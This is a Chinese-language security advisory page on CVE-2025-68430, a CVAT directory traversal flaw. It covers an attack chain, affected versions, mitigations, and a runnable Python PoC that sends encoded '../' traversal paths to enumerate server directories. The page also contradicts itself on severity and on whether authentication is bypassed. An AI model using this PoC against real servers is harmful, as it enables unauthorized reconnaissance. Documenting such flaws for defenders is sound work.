IPBUF安全漏洞报告
English
CVE-2025-68430 CVSS 4.3 中危

CVE-2025-68430 CVAT目录遍历漏洞导致敏感目录信息泄露

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-68430
漏洞类型
目录遍历/路径穿越
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CVAT (Computer Vision Annotation Tool)

相关标签

CVE-2025-68430目录遍历路径穿越信息泄露CVAT计算机视觉标注工具GitHub安全公告CVSS 4.3中危漏洞身份认证绕过

漏洞概述

CVAT是一款开源的交互式视频和图像标注工具,广泛应用于计算机视觉领域的数据标注工作。该工具支持团队协作标注,提供丰富的标注功能,深受研究人员和开发团队喜爱。

本次发现的CVE-2025-68430漏洞是一个严重的安全问题,存在于CVAT 2.8.1至2.52.0版本中。漏洞的根本原因在于CVAT应用程序在处理文件路径时缺乏适当的验证机制,允许经过身份验证的攻击者通过构造特殊的请求,访问服务器上任意可访问的文件系统目录。攻击者利用此漏洞可以获取目标系统的目录结构信息,包括文件名和子目录名称等敏感元数据。

虽然该漏洞不会直接泄露文件内容,但目录结构的暴露可能为攻击者提供有价值的情报,帮助其了解目标系统的架构、配置文件位置、敏感文件路径等信息,从而为后续更复杂的攻击(如针对特定配置文件的攻击、供应链攻击等)奠定基础。攻击者获取的目录信息还可能暴露内部应用结构、数据组织方式等敏感商业信息,对企业安全构成潜在威胁。

技术细节

CVAT的目录遍历漏洞源于其文件访问接口对用户输入路径验证不足。攻击者利用CVAT提供的某些API端点,通过构造包含路径遍历序列(如../)的特殊请求参数,可以绕过安全限制访问服务器上的任意目录。

漏洞利用的技术要点包括:

1. **认证要求**:攻击者需要拥有一个有效的CVAT账户,这降低了漏洞的利用门槛,因为CVAT通常允许用户自助注册。

2. **攻击向量**:攻击者通过HTTP请求向CVAT服务器发送精心构造的路径参数。例如,使用类似"../../etc/"或"..\..\Windows\"的路径序列,配合目录列举API,即可获取目标目录的文件列表。

3. **信息泄露范围**:由于CVAT服务器通常以较高权限运行,攻击者理论上可以访问服务器进程具有读取权限的任何目录,包括系统配置目录、应用数据目录、日志目录等。

4. **利用限制**:漏洞主要暴露目录结构而非文件内容,但攻击者可以通过目录名推断系统配置、识别潜在的攻击目标。

5. **修复方案**:CVAT官方在2.53.0版本中通过增加路径规范化验证、限制可访问目录范围、实施最小权限原则等措施修复了该漏洞。

攻击链分析

STEP 1
1
侦察阶段:攻击者识别目标CVAT实例,确认为开源版本并检查版本号(2.8.1-2.52.0范围内)
STEP 2
2
账户创建:攻击者注册CVAT账户或利用已有账户获取合法访问权限
STEP 3
3
认证请求:使用有效凭据登录CVAT,获取会话令牌(Cookie或JWT)
STEP 4
4
构造恶意请求:构造包含路径遍历序列(如../)的API请求,目标是文件列举端点
STEP 5
5
目录枚举:发送恶意请求,CVAT服务器因缺乏路径验证而返回目标目录的文件列表
STEP 6
6
信息收集:分析目录结构,识别敏感路径(配置文件、日志、密钥、数据库等)
STEP 7
7
横向移动:利用收集的目录信息,结合其他漏洞或凭据,进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-68430 PoC - CVAT Directory Traversal Information Disclosure # Target: CVAT instances versions 2.8.1 to 2.52.0 # Author: Security Research # Reference: https://github.com/cvat-ai/cvat/security/advisories/GHSA-3g7v-xjh7-xmqx def exploit_cvat_directory_traversal(base_url, username, password, target_path): """ Exploit for CVAT directory traversal vulnerability (CVE-2025-68430) This PoC demonstrates how an authenticated attacker can list arbitrary directories. Args: base_url: CVAT instance base URL (e.g., 'https://cvat.example.com') username: Valid CVAT account username password: CVAT account password target_path: Path to enumerate (e.g., '../../etc/', '/var/log/') Returns: List of files and directories if exploitation succeeds """ session = requests.Session() # Step 1: Authenticate with CVAT login_url = f"{base_url}/api/auth/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed: HTTP {response.status_code}") return None print("[+] Authentication successful") except requests.RequestException as e: print(f"[-] Connection error: {e}") return None # Step 2: Exploit directory traversal via file listing endpoint # The vulnerable endpoint allows path traversal in the 'path' parameter files_url = f"{base_url}/api/v1/files" # Try different path traversal techniques traversal_paths = [ target_path, f"..{target_path}", f"../{target_path}", f"..%2f{target_path}", f"..%252f{target_path}" ] results = [] for path in traversal_paths: try: params = {'path': path} response = session.get(files_url, params=params, timeout=10) if response.status_code == 200: data = response.json() if data and 'files' in data: print(f"[+] Successfully retrieved directory listing for: {path}") print(f"[+] Found {len(data['files'])} items:") for item in data['files']: item_type = 'DIR' if item.get('type') == 'DIR' else 'FILE' print(f" [{item_type}] {item.get('name', 'unknown')}") results.extend(data['files']) except Exception as e: print(f"[-] Error with path {path}: {e}") return results def main(): if len(sys.argv) < 5: print("Usage: python cve_2025_68430.py <base_url> <username> <password> <target_path>") print("Example: python cve_2025_68430.py https://cvat.example.com admin password \"../../etc/\"") sys.exit(1) base_url = sys.argv[1].rstrip('/') username = sys.argv[2] password = sys.argv[3] target_path = sys.argv[4] print(f"[*] CVE-2025-68430 CVAT Directory Traversal PoC") print(f"[*] Target: {base_url}") print(f"[*] Target path: {target_path}") print("-" * 50) results = exploit_cvat_directory_traversal(base_url, username, password, target_path) if results: print(f"\n[+] Exploitation successful! Retrieved {len(results)} items.") else: print("\n[-] Exploitation failed or target not vulnerable.") if __name__ == "__main__": main()

影响范围

CVAT 2.8.1
CVAT 2.9.0
CVAT 2.10.0
CVAT 2.11.0
CVAT 2.12.0
CVAT 2.13.0
CVAT 2.14.0
CVAT 2.15.0
CVAT 2.16.0
CVAT 2.17.0
CVAT 2.18.0
CVAT 2.19.0
CVAT 2.20.0
CVAT 2.21.0
CVAT 2.22.0
CVAT 2.23.0
CVAT 2.24.0
CVAT 2.25.0
CVAT 2.26.0
CVAT 2.27.0
CVAT 2.28.0
CVAT 2.29.0
CVAT 2.30.0
CVAT 2.31.0
CVAT 2.32.0
CVAT 2.33.0
CVAT 2.34.0
CVAT 2.35.0
CVAT 2.36.0
CVAT 2.37.0
CVAT 2.38.0
CVAT 2.39.0
CVAT 2.40.0
CVAT 2.41.0
CVAT 2.42.0
CVAT 2.43.0
CVAT 2.44.0
CVAT 2.45.0
CVAT 2.46.0
CVAT 2.47.0
CVAT 2.48.0
CVAT 2.49.0
CVAT 2.50.0
CVAT 2.51.0
CVAT 2.52.0

防御指南

临时缓解措施
由于官方明确表示没有已知的变通方法(No known workarounds are available),建议尽快升级到CVAT 2.53.0版本。如果无法立即升级,可以考虑以下临时措施:1)限制CVAT账户的注册和访问,仅允许受信任的用户使用;2)在网络层面实施严格的访问控制策略,限制对CVAT实例的访问来源;3)监控和审计CVAT的所有API调用,特别关注异常的文件访问模式;4)考虑在CVAT服务器前部署Web应用防火墙,尝试检测和缓解路径遍历攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表